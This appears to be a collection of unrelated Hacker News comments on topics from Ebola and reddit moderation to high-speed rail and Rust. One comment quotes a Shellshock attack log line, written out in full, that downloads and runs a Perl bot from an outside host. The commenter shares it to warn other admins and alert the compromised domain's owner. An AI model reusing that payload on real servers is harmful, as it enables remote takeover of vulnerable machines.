skysight-inc/HackerNews huggingface dataset:
Let me set your mind at ease: I was actually at the hospital in question all day today (disclaimer: non-medical personnel, just coincidence) and I was in more danger from the sushi at dinner than the Ebola in the ICU.

Yes, there is a small chance of a multifocal outbreak, though CDC has moved quickly to identify and isolate potential contacts. There is an infinitesimal but still nonzero chance of an honest-to-god epidemic. But medical institutions and the federal government have wargamed all sorts of epidemic scenarios in the decade and a half of OMG ANTHRAX/SMALLPOX/H-N-SOMETHING-SOMETHING panic we've endured.

Even in the (vanishingly unlikely) worst case scenario, state and local authorities have extremely expansive authorities to impose and enforce isolation and quarantines, violation of which (in Texas) is a third-degree felony. (CDC, under HHS delegation, can also impose quarantines to prevent interstate spread of disease, but generally this is left up to the state.) Dallas and surrounding communities could enforce a quarantine and let the outbreak burn out that way, although the economic cost would be enormous. But even mid-tier nations like Nigeria -- which spends per-capita 1% of what the US does on its health system, and which has what could be charitably described as a less-effective government -- have been able to stop Ebola cold with far less drastic action.

In truth, the greater threat comes from citizens who could mob doctors' offices and ERs, demanding nonexistent ZMAPP cocktails for garden-variety seasonal flu symptoms. Unsurprisingly, there's not much medical surge capacity in most hospitals, and beds and labs are in chronically short supply. Health system resource consumption by scared but non-sick patients is a far more likely cause of mortality than an Ebola outbreak.
Yes, I am fine with non Microsoft solutions. Chocolatey is good but is very sparse when it comes to packages. Also, it is no match for [brewcask](http://caskroom.io/). Updated my checklist - thanks for the list
Since the Ebola outbreak is still growing exponentially, this also means that the death toll of the next three weeks alone will match the daily death toll of malaria, and if it continues to grow exponentially, Ebola will be killing more per day than malaria by around the end of the year.
It does! I guess I meant "I wonder if there's a way to take this thing you're already tracking and use it as a per-subreddit voting gate."
> My dream startup would be a Reddit-esque link aggregator, which favors the actual quality of submissions, instead of submissions which are lowest-common-denominator which are optimized for the hive mind.

On that note there's definitely a potential market opening, one sites like hackernews cater to.
Scale a real-time website – Poll Everywhere is hiring a dev ops engineer
Not a problem at all.

I first came across them in The Good Parts: http://www.oreillynet.com/pub/a/javascript/excerpts/javascri...
A major redesign is required for reddit to prevent the issues you're describing and the admins and power users do not want the changes that would be required.
Windows 10 – They've Finally Added Workspaces / Desktops
Click on the tile that has a different color
One thing I always felt like Windows lacked, that even Apple has on their OS, is basic "Workspaces" (as Gnome calls them) or "Desktops (as other DE's call it). When I would use Windows 8 it almost felt like it was there, but nothing beats being able to shove all the things you're working on into virtual desktops.
Google Group Crawler
It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment:

XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"

The payload is a perl script, which I posted to http://pastebin.ca/2850380

I suggest the utmost caution. I am emailing the domain owner to warn about what is being done (as the most likely is this poor chap domain was exploited, since it shows a Plesk page)

EDIT: email text (feel free to copy and paste if you see similar things in your logs)

Dear XXX,

I found your email as the contact for the domain YYYY.

I noticed just a few minutes ago that your server was being used to try and attack my server, by spreading a program designed to take control of machines vulnerable to what is called the "shellshock bug"

This malicious program has been hosted on a file publically accessible using http://XXXXX/legend.txt

I strongly recommand you get in touch with your administrator or whoever is maintaining your machine to let them know that. Just removing the file may not be enough, as your server must have been "infected" in some way for that to happen without you knowing.

Sorry to be the bearer of bad news, but I believe I should let you know ASAP, as I would certainly appreciate being warned should the situation have been reversed :-(

Sorry,
Charles

EDIT2: if you want to discuss the code, https://news.ycombinator.com/item?id=8392666
Ask HN: Help Learning Rails
I am in the beginning stages of learning Ruby on Rails and I was wondering if anyone has any ideas of where I could go for live screenshare/guidance. I am getting stuck on some things and really just feel like I have no idea what I am doing while following my guide/book. Any ideas or help is appreciated. Thanks.
Awesome tool. Thanks for sharing.
It's a big deal because it's a major flaw in long established software. Many unix systems saw bash as safe enough to use as /bin/sh. The CGI-bash exploit leverages two of the oldest technologies on the web.

However, CGI isn't common these days. I don't know any large sites still using it.

So it's mostly going to hit older sites that work but aren't well maintained. Also a lot of embedded systems have CGI based web interfaces that could be vulnerable. It's not clear what the effect of that will be.
If you're interested in decentralized mesh networks, take a look at Project Meshnet [1], Hyperboria [2], and the cjdns [3] routing software. It's a small, but growing community of people working in a similar space as the edgenet idea mentioned in the post. Decentralized routing and end-to-end encryption, plus there are already hundreds of dedicated nodes bootstrapping communication over the existing Internet.

[1] http://projectmeshnet.org/
[2] http://hyperboria.net/
[3] https://github.com/cjdelisle/cjdns
Wrong. See my post above, along with the perl script that's used. It's controlled over IRC channel #apache on chaos.legend.rocks by the "god","ARZ","Zax" users.
They got rid of the 'reddit.com' subreddit that used to serve that purpose. (It was from the time before subreddits existed.)
Thanks a lot for doing this.
> Bad climate and lack of water are two common misconceptions applied to both Las Vegas and Phoenix.

Have you lived in either during the Summer?

The Las Vegas Valley gets about 90 percent of its water from the Colorado River.
Reminds me of the Wired bitcoin miner[0]. They bought an early ASIC miner and used it to heat coffee on a livestream.

[0] http://www.wired.com/2013/05/butterfly_live/

(also I dog ear pages so we're even)
I've been very interested in Rust for a while, but put off by the early development status and the fact that it's undergone a few major redesigns. I don't hold them against the language team in any sense, and actually think more of them for it, since redesigns early are good if you realize something else might be better or one of your original ideas just didn't work out.

Rather, I'm just curious when I can expect Rust to settle down and not have frequent breaking changes, major redesigns of language features, etc. I've heard it's the aim of the 1.0 release to have this property (which is a reasonable goal in my mind).

Does anyone have a timeline on when it would be reasonable to start eyeing Rust if I want more stability (in terms of language features) than it's had during its development phase?
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Why can't both be part of the reason? You experience a scarcity event, and driven by it you try to find a logical reason so you can have a better response next time. I think the response to his scarcity event is great!
We are buying != we bought. I've been quoted 30% deposit and 70% due after a 6 month manufacturing lead time for heavy equipment (>250k). I'm not sure what they were buying but a lot of machines I've dealt with are made to order for application considerations. Most likely she had not purchased anything yet. If she had, deposits were probably lost.
>Even in a place like China the benefits are dubious. It is still often more cost effective to fly from Beijing to Shanghai than take the bullet train.

The price of flying has been driven down in China thanks to the bullet train.

Bullet trains are a very long term investment so they look terrible up-front - they are much more energy efficient per journey, however, so amortizing the cost of billions of passengers they're often a MUCH, MUCH better deal even though the upfront cost is very high. There are a couple of possible Boondoggles in China (I'm a bit dubious of the Wuhan-Guangzhou route), but Beijing-Shanghai along with many other routes makes perfect sense, much like LA - SF or the Northeastern Corridor.

Additional benefits include creating infrastructure that will let you wean yourself off oil and thus aid a reduction in global warming, not to mention reducing the country's exposure to the vicissitudes of the global oil markets and instability in the middle east.

The US would probably have a lot more of it by now if the upper echelons of power weren't infested with austerity/inflation hawks and oil company executives shaping policy for their own personal benefit.
The section on résumés in Butterick's Practical Typography book has some decent advice, not just typography-related:

http://practicaltypography.com/resumes.html

Have your CV edited by a professional editor. I have seen this working wonders - from no responses to competing offers from two top companies in the field. Editing is so cheap compared to its potential effect on your entire lifetime income that it has a good chance of being your best ever investment.
Thanks, this should really be the link. The current one is pretty fluffy.
this made my night, thank you.
Note that the Tokaido shinkansen is only profitable in terms of OpEx -- paying drivers, running stations, buying legendarily bad coffee, paying for electricity and car maintenance, etc. It relies on government-provided CapEx -- laying thousands of miles of earthquake-resistant track, in some cases requiring drilling through mountains to get from A to B because curving is difficult.

The CapEx cost, which the government essentially wrote off when they privatized JR, was north of half a trillion dollars.
> It is interesting to note that the original lines are now considered 'super profitable'.

They are super profitable because they are super expensive as well, and because they carry mainly businessmen. I take the shinkansen relatively often and most of the time it's all people wearing suits, not leisure travelers. When it's not your company paying for your trip, it's way cheaper to take the bus, the plane or drive with your own car (at least if you are not alone).

Note that JR Shinkansen lines never have any discounts. There is a single price, and that's it. No price elasticity, even if some mid-day Shinkansen run half empty. Their marketing is also stuck in the 50s.
Can't trust manufacturers. They push things to the device that break them. Can't trust app manufacturers either: they "share" information to marketers; this breaches your privacy.

Those who can do so ought to offer "family CISO" services. Like the 'family doctor' or the 'family accountant', they should be hirable by a family to manage their information security needs.
Sile, a typesetting system inspired by TeX and InDesign
Well, in all countries with popular train networks, the profitability/cost index is totally opaque. It's fairly obvious that it can't be as profitable as having a fleet of planes. The sheer maintenance of high speed trains + their kilometers of tracks render them very costly per mile.
The Hemoraggic fevers are not likely ever to be considered similar to Malaria in objective risk. More likely to remain in the same league as Smallpox, which is still class 4.
You want to wait for 1.0. The plan is a release candidate around the end of the year.
You could say that people don't take design seriously, and use google and Facebook as examples.

But Apple does. And though most people won't consciously notice that their products are well designed, it is a big part of what makes Apple "magical".

People do care. We care and while we may be a tiny minority right now, there are a lot more of us than there were 10 and 20 years ago.
> Bullet trains are a very long term investment so they look terrible up-front - they are much more energy efficient per journey, however, so amortizing the cost of billions of passengers they're often a MUCH, MUCH better deal even though the upfront cost is very high

That's assuming there are no technological improvements in transportation in the long, long term. Which is, honestly, in this time and age, ridiculous.
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Not sure if you've been on the other side of the "battle", but there is a heck of a lot of genuine spammers on the site, and shadowbans are one of the few effective tools.

Very rarely is it the kind-hearted entrepreneur showing off a new thing he built who gets hit with a shadowban. It happens, but it's rare. More common is people creating accounts to do nothing but advertise, usually neglecting to disclose their affiliation in any way. Even more common is spammers creating hundreds of throwaway accounts used to promote Youtube channels/affiliate links/click scams/article farms and other nonsense. If you use a regular ban they simply make a new account. So yes, there's a very good reason for shadowbans.

>There's the whole 90/10 rule

90/10 is a guideline, not a hard set rule. Moderators of a subreddit have wiggle room when it comes to defining spammers. Many subs allow self-promotion. If you're advertising in one that doesn't allow it, then you're in the wrong.

>I wish they would just let the upvote/downvote system do its job

Votes work decently to bubble up quality content (if you consider lowest-common-denominator "decent"), but ultimately it does nothing for preventing spam, trolls, doxers, spoilers and whatever else.
A nice read.
Just specify on your freelancer's profiles that you are available part-time due to "other commitments". Not all prospects are looking for full-time workers.
"The price of not having to learn is that you give up control to someone else"

Some people don't see that as a 'cost', which is what many people in the tech industry don't understand at all.
Turn a Hard Drive into a Speaker
One of the ShellShock perl script used to take control of vulnerable machines
For the benefit of HNers thinking they might want to visit Japan someday:

There are basically only two discounts for the shinkansen -- one is multi-trip tickets (回数券 -- which are mostly for businesses).

The other is something which is half a discount and half just outright subsidization of policy goals, the JR Rail Pass. It is a special ticket, only available to people who are visiting Japan and don't hold either a Japanese passport or mid/long-term visa, which gets you all-you-can-eat access to all of the JR lines (including the shinkansen, less one class of them). The cost for a week-long pass is less than that of a roundtrip ticket from Tokyo to Kyoto.

If you ever come to Japan, make sure you buy a voucher for one of these before you leave home, since they're not sold here.
Radiation hardening is a requirement to protect the arsenal from EMP attacks in a large scale conflict with a nuclear component. This will hopefully be a rare or nonexistent occurrence, and hardening should not be considered a requirement for bombs used on Al Qaeda and IS (and nearly all other expected enemies). There is a place for radiation hardened munitions in the arsenal for deterrance, and there is also a place for some that are not, and these should be the ones we drop in "low intensity" conflicts, with the occasional release of a hardened munition to act as a quality control test.

Reliability is obviously a concern, but the procurement process should force contractors to open their designs to qualified competitors after a certain period of monopoly profits to recoup their research expenses, sort of like the same way that brand name drugs are eventually forced to compete with generics. Just because these designs are generally national security secrets doesn't mean that the original developer should own the equivalent of an infinite patent on the technology.
"For McCabe, being in Vegas felt like being on a spiritual journey." Perhaps not the right person to get into prototype manufacturing. There's no indication in the article that anybody associated with the project had any manufacturing experience. Or prototyping experience. Or even basic machine shop skills.

"With the funding closed, Factorli is setting out to buy a whole bunch of equipment, and also to build software that helps all the systems talk to each other and work at full capacity." That's a hard, but mostly solved, problem. There are commercial solutions from most of the CAD vendors. The ones that do the whole job almost automatically are not cheap. (Here's what you get at the high end, for $22,000 per seat, using a $700K 5-axis mill: "http://www.youtube.com/watch?v=knuz38oT2kc") If you're prototyping electronics, there are already services that do that. That's mostly a remote business; you send in files in standard formats and get electronics back.

Similar services are available for machined parts. See "emachineshop.com". They have a cute little free CAD program which understands what they can make, and will price the job for you, giving advice on how to cut the manufacturing cost.

There's a serious effort at Octopart to standardize the parts and process for building little computer-interfaced devices, so the "Internet of Things" crowd doesn't have to do so much original engineering for each new product. They might have gotten on board with that.

Another solution would have been to buy a TechShop franchise. Then, alongside that, set up some services which make prototypes using TechShop facilities. Such things have grown up around other TechShop locations, although with only modest success.

It's disappointing that this outfit produced nothing.
Checkout http://www.airpair.com/
My activist, iPhone-using friend in Hong Kong had not heard of this yet, as of right now (like 11:30AM Hong Kong time)
You should start searching & applying for as many scholarships as you can.

Also, the '3pm to 3am' thing seems very unsettling to me. A great way to stay depressed is to be perpetually sleep deprived.
If you were an Apple ][ fan in the early days you probably had a copy of their Pascal language poster, and it was cool:

http://www.pascal-central.com/pascal-syntax.html
I don't know why you're getting down voted, maybe people don't know the first rule of gun safety: Always treat the firearm as if it is loaded. (which on the internet is "the gun is always loaded" shorthand.)
Why is XML-RPC even allowed in WordPress?
We're not on the precipice of technological advancements in transportation? The physics are what they are, and most of what can be done has been. Its worth noting that, e.g., the investments into subways from a century ago still haven't been rendered obsolete by technology. We're only further along that plateau.
Lobby the correctional facility to use Dwolla.
Good point, but I was mentioning the discounts from a Local person point of view.
I don't really agree, I just think it was a bit of an informal presentation. I actually really liked that he questioned his own statements, because he knows it can be very difficult to give solid advice in an ill-defined field like this. I think I learned a lot more from his hesitance in giving anything definitive than I would have if he tried to provide solid guidelines.

Also, given the limited time I don't think he had a lot of opportunities to go into detail with examples. This was just a broad overview of advice he thinks you should take.
Arrays start at zero because what you're counting is how far you're moving a pointer from the initial address in memory, not the items themselves. Array[0] is literally 'read what's at pointer sizeof(n)+0 from the start.' Zero-based indices make perfect sense when you know what they actually indicate.

Although to be fair, starting with one and actually counting the items makes sense too, and seems more intuitive, and this may not even apply to Lua at all. But one-based indexing is still wrong regardless.
Its still around and became Codename One http://www.codenameone.com/ and its way better as such.
Just wanted to say that this is a fascinating thread. It's eye opening to see just how differently I use reddit than others. I have numerous 6+ year accounts and I don't know what the hell most of this stuff means: subscribing, moderator tools, banning, All I know is nearly anything I want to learn about, there is some passionate group of people on reddit discussing it.

I just type in my address bar: site:reddit.com litecoin rig or site:reddit.com flask api, and open a half dozen tabs. Because of the compact layout, I can race through hundreds of comments really quickly and waste like milliseconds on trolls.

They've probably lost track of how many "How can this thing grow up, without becoming wack" discussions they've had. I think my answer remains, "it probably can't."
Iverson was a great man. His specialized notation that was the undercarriage of APL changed many people's view of programming because he forced a more mathematical and consistent use of array notation, far beyond the simple subroutine notations used in FORTRAN at the time.
They can both be, but there are two things to note. One is to make the distinction between being logical and being rational. So in this man's context I think it's fair to he may have logically coherent reasons for doing what he's doing. (ie it's internally consistent within his own framework).

However, I'd question the overall rationality of this. I mean we're on a path of accelerating technologization, AI, robots etc, and this guy wants to head back to the bronze age. So while there's a certain charming appeal to his vision, one should consider being a simple land dweller has traditionally not worked out so well, for those less advanced cultures. [1]

[1] http://en.wikipedia.org/wiki/Guns,_Germs,_and_Steel
Apple Said to Add Gold Option to IPad to Goose Sales
On scooters / mopeds I believe.
A link to the person's website: http://opensourceecology.org/

Also, I always want to remind folks of an immensely successful experiment in communal living, the Hutterites (who love technology, by the way, unlike the Ahmish):

http://en.wikipedia.org/wiki/Hutterite
>I thought that for a pathogen to be communicable by sneezing made it "airborne,"

You're not the first nor the last to be tripped up by that. Airborne means that the pathogen can survive for some time in extremely small droplets. If you are sitting right next to someone with a non-airborne pathogen you have two problems. First, you will be reached by bigger droplets. Second, virus in very small droplets will only be in that condition very briefly before reaching you, and wont have sufficient time to die.

http://www.pathogenperspectives.com/2014/08/debunking-airbor...
To some degree, yes. The ability to jailbreak a phone is indicative of a poor security framework. In theory, there should be a chain of security from the bootloader, to the kernel, the full operating system that should be secure.

If someone is able to break that chain of security, then that demonstrates a weakness in security.

The question then becomes how easy is it for an attacker to break that chain of security, and is the jailbreak remotely exploitable.